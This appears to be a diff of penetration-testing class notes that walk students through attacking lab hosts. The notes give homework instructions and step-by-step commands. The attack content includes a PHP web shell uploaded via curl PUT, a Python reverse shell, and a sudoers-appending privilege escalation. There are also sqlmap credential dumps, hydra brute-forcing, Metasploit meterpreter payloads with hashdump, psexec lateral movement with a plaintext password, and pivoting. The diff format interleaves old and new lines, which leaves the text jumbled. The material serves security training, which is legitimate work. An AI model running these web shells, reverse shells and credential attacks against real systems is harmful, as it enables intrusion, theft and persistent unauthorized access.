856 | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
857 | - | # Attacking Databases # |
857 | + | |
858 | ||
859 | - | Attacking MySQL with Metasploit |
859 | + | |
860 | - | ------------------------------- |
860 | + | ********************************** Begin Day 2 Homework Part 1 ********************************** |
861 | NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS | |
862 | ||
863 | You must take screenshots of you performing all of the scanning tasks that we have done so far today | |
864 | ||
865 | - | use auxiliary/scanner/mysql/mysql_version |
865 | + | You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day2-Adv-Scanning.docx' (ex: Joseph-McCray-CyberWar-Day2-Adv-Scanning.docx). |
866 | - | set RHOSTS 10.0.0.59 |
866 | + | |
867 | You must spell you name EXACTLY as you want it spelled on your class certificate. | |
868 | ||
869 | - | use auxiliary/scanner/mysql/mysql_login |
869 | + | |
870 | - | set RHOSTS 10.0.0.59 |
870 | + | Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST. |
871 | - | set USER_FILE /home/infosecaddicts/toolz/wordlists/users.txt |
871 | + | |
872 | - | set PASS_FILE /home/infosecaddicts/toolz/wordlists/pass.txt |
872 | + | ********************************** End Day 2 Homework Part 1 ********************************** |
873 | ||
874 | ||
875 | - | use auxiliary/admin/mysql/mysql_enum |
875 | + | |
876 | - | set RHOST 10.0.0.59 |
876 | + | |
877 | - | set USERNAME root |
877 | + | |
878 | ||
879 | ########## | |
880 | - | use auxiliary/scanner/mysql/mysql_hashdump |
880 | + | |
881 | - | set RHOSTS 10.0.0.59 |
881 | + | |
882 | - | set USERNAME root |
882 | + | Today I gave the students access to a folder in my Google Drive that allowed the students to share data and they also joined https://chat.strategicsec.com/channel/cyberwar so they can communicate with each other. |
883 | ||
884 | The goal for today is for the class to attack 10.0.0.14 together and see what they can learn. | |
885 | - | exit -y |
885 | + | |
886 | ||
887 | ||
888 | - | $ mysql -h 10.0.0.59 -u root -p |
888 | + | |
889 | - | show databases; |
889 | + | # Attacking 10.0.0.14 # |
890 | ####################### | |
891 | ||
892 | Step 1: Nmap Scan | |
893 | ||
894 | sudo nmap -sV -Pn 10.0.0.14 | |
895 | - | Attacking Postgres with Metasploit |
895 | + | |
896 | - | ---------------------------------- |
896 | + | |
897 | ||
898 | Step 2: Nikto Scan | |
899 | ||
900 | cd ~/toolz | |
901 | - | use auxiliary/scanner/postgres/postgres_login |
901 | + | rm -rf nikto/ |
902 | - | set RHOSTS 10.0.0.59 |
902 | + | sudo apt install -y nikto |
903 | nikto -h 10.0.0.14 | |
904 | ||
905 | ||
906 | Step 3: Directory Bruteforce | |
907 | https://sourceforge.net/projects/dirbuster/ | |
908 | - | Identifying MSSQL Server |
908 | + | |
909 | - | ----------------------- |
909 | + | |
910 | ||
911 | - | propecia 10.0.0 1433 |
911 | + | Step 4: Enumerate Server options (confirm nikto results) |
912 | ||
913 | curl -vX OPTIONS 10.0.0.14/test | |
914 | mkdir webshellz | |
915 | cd webshellz/ | |
916 | - | Determine the Version |
916 | + | vi cmd.php |
917 | - | --------------------- |
917 | + | |
918 | --------------------------------------------- | |
919 | - | nmap -sV -p 1433 10.0.0.9 |
919 | + | <HTML><BODY> |
920 | - | nmap -sV -p 1433 --script=ms-sql-info 10.0.0.9 |
920 | + | <FORM METHOD="GET" NAME="myform" ACTION=""> |
921 | <INPUT TYPE="text" NAME="cmd"> | |
922 | <INPUT TYPE="submit" VALUE="Send"> | |
923 | </FORM> | |
924 | - | Bruteforcing MSSQL |
924 | + | <pre> |
925 | - | ------------------ |
925 | + | <? |
926 | if($_GET['cmd']) { | |
927 | - | nmap -p1433 --script ms-sql-empty-password 10.0.0.9 |
927 | + | system($_GET['cmd']); |
928 | } | |
929 | ?> | |
930 | - | mkdir ~/toolz/wordlists |
930 | + | </pre> |
931 | - | cd ~/toolz/wordlists |
931 | + | </BODY></HTML> |
932 | - | echo dbo >> customuser.txt |
932 | + | --------------------------------------------- |
933 | - | echo sa >> customuser.txt |
933 | + | |
934 | - | echo admin >> customuser.txt |
934 | + | |
935 | - | echo password >> custompass.txt |
935 | + | |
936 | - | echo pass >> custompass.txt |
936 | + | curl -vX PUT -d "$(cat cmd.php)" 10.0.0.14/test/cmd.php |
937 | - | echo hello >> custompass.txt |
937 | + | |
938 | - | echo goodbye >> custompass.txt |
938 | + | |
939 | - | echo test >> custompass.txt |
939 | + | |
940 | - | echo admin >> custompass.txt |
940 | + | |
941 | - | echo db >> custompass.txt |
941 | + | Now use your web browser to browse to page: |
942 | - | echo god >> custompass.txt |
942 | + | http://10.0.0.14/test/cmd.php |
943 | - | echo 123 >> custompass.txt |
943 | + | |
944 | - | echo letmein >> custompass.txt |
944 | + | |
945 | - | echo database!23 >> custompass.txt |
945 | + | Enter the following commands: |
946 | /sbin/ifconfig | |
947 | pwd | |
948 | id | |
949 | uname -a | |
950 | - | nmap -sV -p 1433 --script=ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 10.0.0.9 |
950 | + | cat /etc/passwd |
951 | ||
952 | ||
953 | ||
954 | - | Extracting Data From MSSQL |
954 | + | Figure out how to root this box!!!!!!!!!!!!!!!! |
955 | ||
956 | - | nmap -sV -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9 |
956 | + | |
957 | ||
958 | - | nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9 |
958 | + | ###################### |
959 | # Attacking 10.0.0.5 # | |
960 | - | nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9 |
960 | + | ###################### |
961 | ||
962 | - | nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9 |
962 | + | Step 1: Nmap Scan |
963 | ||
964 | - | nmap -p1433 --script ms-sql-xp-cmdshell --script-args=ms-sql-xp-cmdshell.cmd='net users',mssql.username=sa,mssql.password=database\!23 10.0.0.9 |
964 | + | sudo nmap -sV -Pn 10.0.0.5 |
965 | ||
966 | - | nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9 |
966 | + | |
967 | ||
968 | Step 2: Nikto Scan | |
969 | ||
970 | cd ~/toolz | |
971 | ||
972 | perl nikto.pl -h 10.0.0.5 | |
973 | - | Attacking MSSQL Server With Metasploit |
973 | + | |
974 | - | -------------------------------------- |
974 | + | cd /home/infosecaddicts/toolz/sqlmap-dev |
975 | ||
976 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 -s ./scan_report_pgsql.txt -t ./scan_trace_pgsql.txt --skip-urlencode | |
977 | ||
978 | ||
979 | - | use auxiliary/admin/mssql/mssql_sql |
979 | + | Security Issue 1: Directory Browsing |
980 | ------------------------------------ | |
981 | - | show options |
981 | + | http://10.0.0.5/bin/ |
982 | ||
983 | - | set RHOST 10.0.0.9 |
983 | + | Browse to this URL in your web browser. |
984 | ||
985 | - | set username sa |
985 | + | |
986 | You may want to go for a hail mary and decompile the DLL files with something like JetPack: https://www.jetbrains.com/decompiler/ but don't get your hopes up. | |
987 | - | set password database!23 |
987 | + | |
988 | ||
989 | Attacking 10.0.0.5 with SQLMap | |
990 | ------------------------------ | |
991 | cd /home/infosecaddicts/toolz/sqlmap-dev | |
992 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode | |
993 | ||
994 | cd /home/infosecaddicts/.sqlmap/output/10.0.0.5 | |
995 | ls | |
996 | ||
997 | cd ~/toolz/sqlmap-dev/ | |
998 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs | |
999 | - | use auxiliary/admin/mssql/mssql_enum |
999 | + | |
1000 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user | |
1001 | - | show options |
1001 | + | |
1002 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --passwords | |
1003 | - | set RHOST 10.0.0.9 |
1003 | + | |
1004 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --current-db --tables | |
1005 | - | set username sa |
1005 | + | |
1006 | python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --current-db --tables --dump | |
1007 | - | set password database!23 |
1007 | + | |
1008 | ||
1009 | ||
1010 | ################################ | |
1011 | # Attacking Big Data Solutions # | |
1012 | ################################ | |
1013 | ||
1014 | propecia 10.0.0 27017 | |
1015 | - | use auxiliary/admin/mssql/mssql_exec |
1015 | + | |
1016 | ||
1017 | - | show options |
1017 | + | |
1018 | infosecaddicts | |
1019 | - | set RHOST 10.0.0.9 |
1019 | + | |
1020 | ||
1021 | - | set password database!23 |
1021 | + | |
1022 | ||
1023 | - | set CMD cmd.exe /c ping localhost |
1023 | + | |
1024 | There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB. | |
1025 | ||
1026 | One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions. | |
1027 | ||
1028 | ||
1029 | ||
1030 | sudo apt install -y git python-setuptools | |
1031 | ||
1032 | cd ~/toolz | |
1033 | ||
1034 | mkdir arsenal | |
1035 | ||
1036 | cd arsenal | |
1037 | ||
1038 | git clone https://github.com/tcstool/nosqlmap.git | |
1039 | ||
1040 | cd nosqlmap | |
1041 | ||
1042 | sudo python setup.py install | |
1043 | infosecaddicts | |
1044 | ||
1045 | python nosqlmap.py | |
1046 | 1 | |
1047 | ||
1048 | 1 (set options) | |
1049 | 10.0.0.8 (set target IP) | |
1050 | ||
1051 | ||
1052 | 7 <your IP> (set attacker host ip) | |
1053 | ||
1054 | ||
1055 | x (back to main menu) | |
1056 | ||
1057 | 2 (DB access attack option) | |
1058 | ||
1059 | ||
1060 | 1 (Get server info) | |
1061 | ||
1062 | ||
1063 | 2 (Enumerate Databases/Collections/Users) | |
1064 | ||
1065 | ||
1066 | 3 (Check for GridFS) | |
1067 | GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document | |
1068 | ||
1069 | ||
1070 | - | 10.0.0.59 (set target IP) |
1070 | + | |
1071 | ||
1072 | ||
1073 | Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ). | |
1074 | ||
1075 | ||
1076 | ||
1077 | ||
1078 | ********************************** Begin Day 3 Homework Part 1 ********************************** | |
1079 | NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS | |
1080 | ||
1081 | You must take screenshots of you performing all of the scanning tasks that we have done so far today | |
1082 | ||
1083 | You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day3.docx' (ex: Joseph-McCray-CyberWar-Day3.docx). | |
1084 | ||
1085 | You must spell you name EXACTLY as you want it spelled on your class certificate. | |
1086 | ||
1087 | IMPORTANT NOTE: | |
1088 | Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST. | |
1089 | ||
1090 | ********************************** End Day 3 Homework Part 1 ********************************** | |
1091 | ||
1092 | ||
1093 | ||
1094 | ########## | |
1095 | # Day 4: # | |
1096 | ########## | |
1097 | ||
1098 | ||
1099 | ||
1100 | ###################### | |
1101 | # Attacking 10.0.0.7 # | |
1102 | ###################### | |
1103 | ||
1104 | Step 1: Nmap Scan | |
1105 | - | nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}' |
1105 | + | sudo nmap -Pn -sV -T 5 10.0.0.7 |
1106 | ||
1107 | - | nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15 |
1107 | + | |
1108 | Step 2: Open a browswer | |
1109 | - | https://www.exploit-db.com/search |
1109 | + | Point your browser to http://10.0.0.7/ |
1110 | ||
1111 | - | Search for: |
1111 | + | |
1112 | - | Savant httpd 3.1 |
1112 | + | Step 3: Download the picture in the website: |
1113 | - | Apache httpd 2.0.58 ((Win32)) |
1113 | + | wget http://10.0.0.7/main.gif |
1114 | exiftool main.gif | |
1115 | ||
1116 | - | Found one written in Python: |
1116 | + | |
1117 | - | https://www.exploit-db.com/exploits/18401/ |
1117 | + | Step 4: What's the password |
1118 | ||
1119 | - | Found one for Savant 3.1 from Metasploit: |
1119 | + | Point your browser to http://10.0.0.7/kzMb5nVYJw/ and then view source. |
1120 | - | https://www.exploit-db.com/exploits/16770/ |
1120 | + | |
1121 | From there you'll see that it tells you that the password is a simple one. | |
1122 | ||
1123 | ||
1124 | cd ~/toolz/ | |
1125 | echo dbo >> list.txt | |
1126 | - | use exploit/windows/http/savant_31_overflow |
1126 | + | echo sa >> list.txt |
1127 | echo admin >> list.txt | |
1128 | - | set PAYLOAD windows/meterpreter/bind_nonx_tcp |
1128 | + | echo root >> list.txt |
1129 | - | set RPORT 80 |
1129 | + | echo password >> list.txt |
1130 | - | set LPORT 7777 |
1130 | + | echo pass >> list.txt |
1131 | echo hello >> list.txt | |
1132 | echo goodbye >> list.txt | |
1133 | echo test >> list.txt | |
1134 | echo admin >> list.txt | |
1135 | echo elite >> list.txt | |
1136 | echo db >> list.txt | |
1137 | echo god >> list.txt | |
1138 | echo 123 >> list.txt | |
1139 | echo letmein >> list.txt | |
1140 | echo omega >> list.txt | |
1141 | ||
1142 | ||
1143 | ||
1144 | hydra -l none -P list.txt 10.0.0.7 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" | |
1145 | ||
1146 | ||
1147 | cd ~/toolz/sqlmap-dev/ | |
1148 | ||
1149 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a --dbs | |
1150 | ||
1151 | ||
1152 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql --tables | |
1153 | ||
1154 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql -T user --columns | |
1155 | ||
1156 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql -T user -C User,Password --dump | |
1157 | ||
1158 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D phpmyadmin --tables | |
1159 | ||
1160 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth | |
1161 | ||
1162 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth -T users --columns | |
1163 | ||
1164 | python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth -T users -C id,user,pass --dump | |
1165 | ||
1166 | cat /home/infosecaddicts/.sqlmap/output/10.0.0.7/dump/seth/users.csv | |
1167 | ||
1168 | cd toolz/ | |
1169 | ||
1170 | ||
1171 | ||
1172 | We can look this password hash up on Crackstation.net https://crackstation.net/ - ok that didn't work. Maybe it's in Base64. Let's try to decode it. | |
1173 | ||
1174 | ||
1175 | ||
1176 | Decoding the base64 value gives us the actual hash. (Note I add a “=” to the string so that base64 can properly decode it) | |
1177 | ||
1178 | echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 -d | |
1179 | ||
1180 | echo "c6d6bd7ebf806f43c76acc3681703b81" > hash.txt | |
1181 | ||
1182 | ||
1183 | ||
1184 | ||
1185 | We can look up this password hash "c6d6bd7ebf806f43c76acc3681703b81" on Crackstation.net https://crackstation.net/ | |
1186 | ||
1187 | Ok - that worked. The password is "omega", but if you want to do it with hashcat we can do the following steps: | |
1188 | ||
1189 | ||
1190 | sudo apt install -y nvidia-opencl-icd-340 libxnvctrl-dev nvidia-opencl-dev libgmp3-dev libgmp10-doc opencl-headers | |
1191 | ||
1192 | wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz | |
1193 | ||
1194 | tar -zxvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz | |
1195 | ||
1196 | sudo ./opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25/install.sh | |
1197 | ||
1198 | hashcat --benchmark | |
1199 | ||
1200 | ||
1201 | hashcat -m 0 -a 0 hash.txt ~/toolz/list.txt | |
1202 | ||
1203 | ||
1204 | ||
1205 | ||
1206 | Ok, now let's log into the machine. | |
1207 | ||
1208 | ||
1209 | ssh 10.0.0.7 -p 777 -lramses | |
1210 | ||
1211 | cat /etc/issue | |
1212 | ||
1213 | find / -user root -perm -4000 -print 2>/dev/null | grep -v bin | grep -v usr | |
1214 | ||
1215 | cd /var/www/backup/ | |
1216 | ||
1217 | ls -l procwatch | |
1218 | ||
1219 | ||
1220 | ||
1221 | Figure out how to root this box!!!!!!!!!!!!!!!! | |
1222 | ||
1223 | whoami | |
1224 | ln -s /bin/ls ps | |
1225 | export PATH=`pwd`:${PATH} | |
1226 | ./procwatch | |
1227 | ln -snf /bin/sh ps | |
1228 | ./procwatch | |
1229 | whoami | |
1230 | cat /root/proof.txt | |
1231 | ||
1232 | ||
1233 | .......hahahahah rooted and polluted!!!!!!!!! | |
1234 | ||
1235 | So now let's go attack .14 with this box. | |
1236 | ||
1237 | nc -l -v -p 443 | |
1238 | ||
1239 | ||
1240 | ...from the webshell on 10.0.0.14 (http://10.0.0.14/test/cmd.php) | |
1241 | ||
1242 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.7",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | |
1243 | ||
1244 | ||
1245 | This will give you a user level shell on 10.0.0.14 | |
1246 | ||
1247 | dpkg -l chkrootkit | |
1248 | ls -al /etc/sudoers | |
1249 | echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update | |
1250 | ||
1251 | ||
1252 | ....wait for it.....wait for it (a few hours possibly since it is cron.daily...) | |
1253 | sudo su | |
1254 | ||
1255 | ....now you are root | |
1256 | ||
1257 | ||
1258 | #################################### | |
1259 | # Finally, let's exploit something # | |
1260 | #################################### | |
1261 | ||
1262 | ##################################### | |
1263 | # Quick Stack Based Buffer Overflow # | |
1264 | ##################################### | |
1265 | ||
1266 | - You can download everything you need for this exercise (except netcat) from the link below | |
1267 | https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip | |
1268 | ||
1269 | - Extract this zip file to your Desktop | |
1270 | ||
1271 | - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe | |
1272 | ||
1273 | - Open a new command prompt and type: | |
1274 | nc localhost 9999 | |
1275 | ||
1276 | - In the new command prompt window where you ran nc type: | |
1277 | HELP | |
1278 | ||
1279 | - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts | |
1280 | - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++ | |
1281 | ||
1282 | - Now double-click on 1-simplefuzzer.py | |
1283 | - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on. | |
1284 | ||
1285 | ||
1286 | - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on. | |
1287 | ||
1288 | - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe | |
1289 | ||
1290 | - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py. | |
1291 | ||
1292 | - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s). | |
1293 | ||
1294 | - Now isolate the crash by restarting your debugger and running script 2-3000chars.py | |
1295 | ||
1296 | - Calculate the distance to EIP by running script 3-3000chars.py | |
1297 | - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338 | |
1298 | ||
1299 | 4-count-chars-to-EIP.py | |
1300 | - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39) | |
1301 | - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it | |
1302 | ||
1303 | 5-2006char-eip-check.py | |
1304 | - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242 | |
1305 | ||
1306 | 6-jmp-esp.py | |
1307 | - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll | |
1308 | ||
1309 | 7-first-exploit | |
1310 | - In this script we actually do the stack overflow and launch a bind shell on port 4444 | |
1311 | ||
1312 | 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host. | |
1313 | ||
1314 | ||
1315 | ------------------------------ | |
1316 | ||
1317 | cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc | |
1318 | ||
1319 | vi vulnserv.rb (paste the code into this file) | |
1320 | ||
1321 | ||
1322 | ||
1323 | cd ~/toolz/metasploit | |
1324 | ||
1325 | ./msfconsole | |
1326 | ||
1327 | ||
1328 | ||
1329 | use exploit/windows/misc/vulnserv | |
1330 | set PAYLOAD windows/meterpreter/bind_tcp | |
1331 | set RHOST 10.0.0.10 | |
1332 | set RPORT 9999 | |
1333 | exploit | |
1334 | ||
1335 | ||
1336 | - | *************************** Day 3 Challenge ******************************* |
1336 | + | |
1337 | ||
1338 | - | ******** Attacking Kevgir ******** |
1338 | + | |
1339 | - | I figured I've give you something fun to play with. |
1339 | + | |
1340 | ********************************** Figure out who and where you are ********************************** | |
1341 | - | sudo nmap -sV -Pn 10.0.0.120 |
1341 | + | |
1342 | meterpreter> sysinfo | |
1343 | ||
1344 | ||
1345 | meterpreter> getuid | |
1346 | - | ############################## |
1346 | + | |
1347 | - | # Using Nikto against Kevgir # |
1347 | + | |
1348 | - | ############################## |
1348 | + | |
1349 | - | cd ~/toolz/nikto-2.1.1 |
1349 | + | |
1350 | ||
1351 | - | perl nikto.pl -update |
1351 | + | |
1352 | ||
1353 | - | perl nikto.pl -h 10.0.0.120 |
1353 | + | |
1354 | meterpreter> run get_local_subnets | |
1355 | - | perl nikto.pl -h 10.0.0.120:8080 |
1355 | + | |
1356 | ||
1357 | - | perl nikto.pl -h 10.0.0.120:8081 |
1357 | + | |
1358 | ********************************** Escalate privileges and get hashes ********************************** | |
1359 | - | perl nikto.pl -h 10.0.0.120:9000 |
1359 | + | |
1360 | ||
1361 | meterpreter> use priv | |
1362 | ||
1363 | ||
1364 | - | #################### |
1364 | + | |
1365 | - | # Using Metasploit # |
1365 | + | |
1366 | - | #################### |
1366 | + | |
1367 | ||
1368 | meterpreter > getuid | |
1369 | Server username: NT AUTHORITY\SYSTEM | |
1370 | ||
1371 | - | use auxiliary/scanner/http/http_version |
1371 | + | |
1372 | ||
1373 | - | set RHOSTS 10.0.0.120 |
1373 | + | |
1374 | ||
1375 | - | set RPORT 8080 |
1375 | + | |
1376 | ||
1377 | Got the following admin hash: | |
1378 | Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363::: | |
1379 | ||
1380 | - | ------------------------------- |
1380 | + | |
1381 | ||
1382 | - | use auxiliary/scanner/http/tomcat_enum |
1382 | + | |
1383 | ||
1384 | - | set RHOSTS 10.0.0.120 |
1384 | + | |
1385 | ||
1386 | - | set RPORT 8080 |
1386 | + | |
1387 | )K5?Jocb(Yx | |
1388 | ||
1389 | ||
1390 | ********************************** Enumerate the host you are on ********************************** | |
1391 | ||
1392 | meterpreter> run winenum | |
1393 | ||
1394 | - | #################### |
1394 | + | |
1395 | - | # Attacking Tomcat # |
1395 | + | |
1396 | - | #################### |
1396 | + | |
1397 | ||
1398 | meterpreter > run post/windows/gather/usb_history | |
1399 | ||
1400 | meterpreter > run post/windows/gather/enum_shares | |
1401 | - | use auxiliary/scanner/http/http_version |
1401 | + | |
1402 | meterpreter > run post/windows/gather/enum_snmp | |
1403 | - | set RHOSTS 10.0.0.120 |
1403 | + | |
1404 | meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | |
1405 | - | set RPORT 8080 |
1405 | + | |
1406 | ||
1407 | ********************************** Get out of Meterpreter ********************************** | |
1408 | ||
1409 | meterpreter> background | |
1410 | ||
1411 | msf exploit(savant_31_overflow) > back | |
1412 | ||
1413 | - | use auxiliary/scanner/http/tomcat_mgr_login |
1413 | + | |
1414 | ||
1415 | - | set USERNAME tomcat |
1415 | + | |
1416 | ||
1417 | - | set USERPASS_FILE /home/infosecaddicts/list.txt |
1417 | + | |
1418 | ********************************** Lateral Movement ******************************* | |
1419 | - | set STOP_ON_SUCCESS true |
1419 | + | |
1420 | ||
1421 | - | set RHOSTS 10.0.0.120 |
1421 | + | |
1422 | ||
1423 | - | set RPORT 8080 |
1423 | + | |
1424 | use exploit/windows/smb/psexec | |
1425 | ||
1426 | set SMBUser Administrator | |
1427 | ||
1428 | set SMBPass )K5?Jocb(Yx | |
1429 | ||
1430 | - | use exploit/multi/http/tomcat_mgr_upload |
1430 | + | |
1431 | ||
1432 | - | set USERNAME tomcat |
1432 | + | |
1433 | ||
1434 | - | set PASSWORD tomcat |
1434 | + | |
1435 | ||
1436 | - | set RHOST 10.0.0.120 |
1436 | + | |
1437 | ||
1438 | - | set RPORT 8080 |
1438 | + | |
1439 | ||
1440 | - | set PATH /manager/html |
1440 | + | |
1441 | ||
1442 | - | set PAYLOAD java/meterpreter/bind_tcp |
1442 | + | |
1443 | ||
1444 | - | exploit |
1444 | + | |
1445 | ||
1446 | ********************************** | |
1447 | - | run post/linux/gather/checkvm |
1447 | + | |
1448 | -- Option 2: | |
1449 | - | run post/linux/gather/enum_configs |
1449 | + | |
1450 | ||
1451 | - | run post/linux/gather/enum_protections |
1451 | + | |
1452 | ||
1453 | - | run post/linux/gather/enum_system |
1453 | + | |
1454 | ||
1455 | - | run post/linux/gather/enum_users_history |
1455 | + | |
1456 | ||
1457 | - | run post/linux/gather/hashdump |
1457 | + | |
1458 | ||
1459 | - | shell |
1459 | + | |
1460 | ||
1461 | - | /bin/bash |
1461 | + | |
1462 | ||
1463 | ||
1464 | ||
1465 | ********************************** Set up your Pivot ********************************** | |
1466 | ||
1467 | - | dpkg -l |
1467 | + | |
1468 | <-- background the session | |
1469 | - | cd /tmp |
1469 | + | |
1470 | msf exploit(handler) > back <--- you need to get to main msf> prompt | |
1471 | ||
1472 | ||
1473 | ||
1474 | - | cat >> exploit.c << out |
1474 | + | |
1475 | ||
1476 | - | **************paste in the content from here ***************** |
1476 | + | |
1477 | - | https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c |
1477 | + | |
1478 | ||
1479 | route print <--- should be blank | |
1480 | - | ------ hit enter a few times ------ |
1480 | + | |
1481 | route add 10.0.0.15 255.255.255.0 1 <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter) | |
1482 | - | ------ then type 'out' ----- this closes the file handle... |
1482 | + | |
1483 | ||
1484 | route print <----- verify new route | |
1485 | - | gcc -o boom exploit.c |
1485 | + | |
1486 | ******************************Scan through your Pivot ****************************** | |
1487 | - | ./boom |
1487 | + | |
1488 | use auxiliary/scanner/portscan/tcp <-- Run aux modules through your pivot | |
1489 | ||
1490 | set THREADS 10 | |
1491 | ||
1492 | - | ------------------------------- |
1492 | + | |
1493 | ||
1494 | set PORTS 445 | |
1495 | - | hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 10.0.0.140 http-get /manager/html |
1495 | + | |
1496 | run | |
1497 | ||
1498 | ||
1499 | #################################### | |
1500 | # Socks Tunneling with Proxychains # | |
1501 | - | ################# |
1501 | + | |
1502 | - | # Attacking FTP # |
1502 | + | |
1503 | - | ################# |
1503 | + | |
1504 | sudo apt install -y proxychains | |
1505 | - | sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120 |
1505 | + | |
1506 | ||
1507 | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 1080 | |
1508 | - | cd ~/toolz/hydra |
1508 | + | |
1509 | ||
1510 | - | hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 10.0.0.120 ftp |
1510 | + | |
1511 | socks4 127.0.0.1 1080 | |
1512 | - | ftp |
1512 | + | |
1513 | - | open 10.0.0.120 |
1513 | + | |
1514 | - | admin |
1514 | + | |
1515 | - | admin |
1515 | + | |
1516 | use auxiliary/server/socks4a | |
1517 | - | ls -lah |
1517 | + | |
1518 | set SRVHOST 127.0.0.1 | |
1519 | - | ls ../../ |
1519 | + | |
1520 | set SRVPORT 1080 | |
1521 | ||
1522 | - | ################# |
1522 | + | |
1523 | - | # Attacking SSH # |
1523 | + | |
1524 | - | ################# |
1524 | + | |
1525 | - | cd ~/toolz/hydra |
1525 | + | |
1526 | ||
